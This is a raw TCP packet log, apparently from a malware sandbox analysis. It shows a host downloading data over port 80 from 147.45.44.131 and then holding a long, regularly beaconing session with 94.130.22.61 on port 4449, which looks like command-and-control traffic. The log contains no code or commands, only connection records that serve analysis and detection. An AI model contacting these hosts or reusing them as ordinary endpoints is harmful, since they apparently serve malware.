Jan 7, 2025 06:12:06.945003986 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.945022106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.945059061 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.983679056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983691931 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983705044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983715057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983731985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983742952 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983757019 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.983757973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983781099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983792067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983798027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.983805895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983817101 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.983817101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983829975 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983840942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983851910 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.983870983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983877897 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.983881950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983892918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983902931 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.983903885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.983928919 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984086037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984098911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984114885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984119892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984129906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984143019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984150887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984153032 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984170914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984173059 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984184027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984194994 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984205008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984210014 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984216928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984224081 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984227896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984237909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984256983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984260082 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984270096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984277964 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984282017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984292984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984302998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984304905 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984314919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984323978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.984333992 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.984354019 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:07.037458897 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:09.908525944 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:09.913336992 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:09.913410902 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:09.925188065 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:09.930017948 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:10.566098928 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:10.571580887 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:10.576354027 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:10.764403105 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:10.805056095 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:13.361849070 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:13.366710901 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:13.366765976 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:13.371546984 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:27.794028997 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:27.798937082 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:27.799035072 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:27.803951025 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:28.070111990 CET	52490	53	192.168.2.6	162.159.36.2
Jan 7, 2025 06:12:28.075033903 CET	53	52490	162.159.36.2	192.168.2.6
Jan 7, 2025 06:12:28.075124979 CET	52490	53	192.168.2.6	162.159.36.2
Jan 7, 2025 06:12:28.079991102 CET	53	52490	162.159.36.2	192.168.2.6
Jan 7, 2025 06:12:28.129513025 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:28.180025101 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:28.268197060 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:28.275866985 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:28.280827999 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:28.280945063 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:28.285913944 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:28.540817976 CET	52490	53	192.168.2.6	162.159.36.2
Jan 7, 2025 06:12:28.545811892 CET	53	52490	162.159.36.2	192.168.2.6
Jan 7, 2025 06:12:28.545869112 CET	52490	53	192.168.2.6	162.159.36.2
Jan 7, 2025 06:12:42.227643967 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:42.232508898 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:42.232577085 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:42.237317085 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:42.563510895 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:42.617588997 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:42.705841064 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:42.707825899 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:42.712727070 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:42.712793112 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:42.717645884 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:56.664753914 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:56.669684887 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:56.669742107 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:56.674551010 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:56.998640060 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:57.039340973 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:57.143363953 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:57.145193100 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:57.149997950 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:12:57.150068045 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:12:57.154910088 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:11.102200031 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:11.106950045 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:11.107023954 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:11.111745119 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:11.435281992 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:11.476808071 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:11.581228971 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:11.582787037 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:11.587682962 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:11.587778091 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:11.592593908 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:20.170135021 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:20.175057888 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:20.176870108 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:20.181751013 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:20.509356022 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:20.554905891 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:20.659540892 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:20.661082983 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:20.665930986 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:20.668895960 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:20.673690081 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:22.477346897 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:22.482218027 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:22.482316971 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:22.487165928 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:22.821506977 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:22.864249945 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:22.972105026 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:22.990385056 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:22.995237112 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:22.995285034 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:23.000117064 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:24.260848045 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:24.265729904 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:24.265917063 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:24.270730019 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:24.602042913 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:24.661761999 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:24.753528118 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:24.755354881 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:24.760361910 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:24.760416031 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:24.765495062 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:26.649291992 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:26.654953957 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:26.654999971 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:26.660868883 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:26.992230892 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:27.072426081 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:27.143999100 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:27.145752907 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:27.150576115 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:27.150624990 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:27.155476093 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:29.320859909 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:29.325802088 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:29.325890064 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:29.330697060 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:29.853383064 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:29.853471041 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:29.853575945 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:29.856813908 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:29.861593008 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:29.861668110 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:29.866503954 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:31.367904902 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:31.372706890 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:31.372762918 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:31.377614021 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:31.703038931 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:31.847377062 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:31.848134995 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:31.851145029 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:31.855998993 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:31.856148958 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:31.860981941 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:33.070833921 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:33.075697899 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:33.075792074 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:33.080656052 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:33.404077053 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:33.540923119 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:33.550309896 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:33.551789999 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:33.556549072 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:33.556694031 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:33.561554909 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:38.743216038 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:38.804459095 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:38.804523945 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:38.809571981 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:39.136993885 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:39.242448092 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:39.388292074 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:39.389791965 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:39.394622087 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:39.394695044 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:39.399523020 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:41.774785995 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:41.779680967 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:41.779793024 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:41.784590006 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:41.918778896 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:41.923671007 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:41.923871040 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:41.928697109 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:42.105942011 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:42.202518940 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:42.202596903 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:42.206789017 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:42.211770058 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:42.211951017 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:42.216926098 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:42.347738028 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:42.350778103 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:42.355784893 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:42.355885029 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:42.360766888 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:56.354768991 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:56.359615088 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:56.359877110 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:56.364646912 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:56.695853949 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:56.831810951 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:56.831901073 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:56.924535990 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:56.929459095 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:13:56.929516077 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:13:56.934360981 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:06.852334976 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:06.857337952 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:06.857387066 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:06.862237930 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:07.194107056 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:07.257910013 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:07.332086086 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:07.334539890 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:07.339339972 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:07.339404106 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:07.344192982 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:09.930345058 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:09.935273886 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:09.935334921 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:09.940130949 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:10.272955894 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:10.410063982 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:10.410139084 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:10.411632061 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:10.416369915 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:10.416429043 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:10.421236038 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:24.367692947 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:24.372649908 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:24.372731924 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:24.377492905 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:24.709446907 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:24.757893085 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:24.848618984 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:24.850162983 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:24.854959965 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:24.858789921 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:24.863568068 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:27.774789095 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:27.779824018 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:27.779890060 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:27.784671068 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:28.114919901 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:28.195389986 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:28.254904032 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:28.256586075 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:28.261362076 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:28.261425972 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:28.266254902 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:41.820769072 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:41.825731993 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:41.825784922 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:41.830574989 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:42.164364100 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:42.210967064 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:42.301786900 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:42.303126097 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:42.308005095 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:42.308069944 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:42.312913895 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:54.617608070 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:54.622545958 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:54.622626066 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:54.627470970 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:54.958328962 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:55.008071899 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:55.099211931 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:55.100672960 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:55.106488943 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:14:55.106597900 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:14:55.111424923 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:09.054970980 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:09.059915066 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:09.059973955 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:09.064800024 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:09.392889977 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:09.539053917 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:09.541774035 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:09.543154001 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:09.547899008 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:09.547947884 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:09.552702904 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:19.320743084 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:19.325653076 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:19.325784922 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:19.330533981 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:19.651179075 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:19.697640896 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:19.792413950 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:19.794774055 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:19.799585104 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:19.799679041 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:19.805449963 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:21.117567062 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:21.429718971 CET	49742	4449	192.168.2.6	94.130.22.61
Jan 7, 2025 06:15:21.607891083 CET	4449	49742	94.130.22.61	192.168.2.6
Jan 7, 2025 06:15:21.607908964 CET	4449	49742	94.130.22.61	192.168.2.6
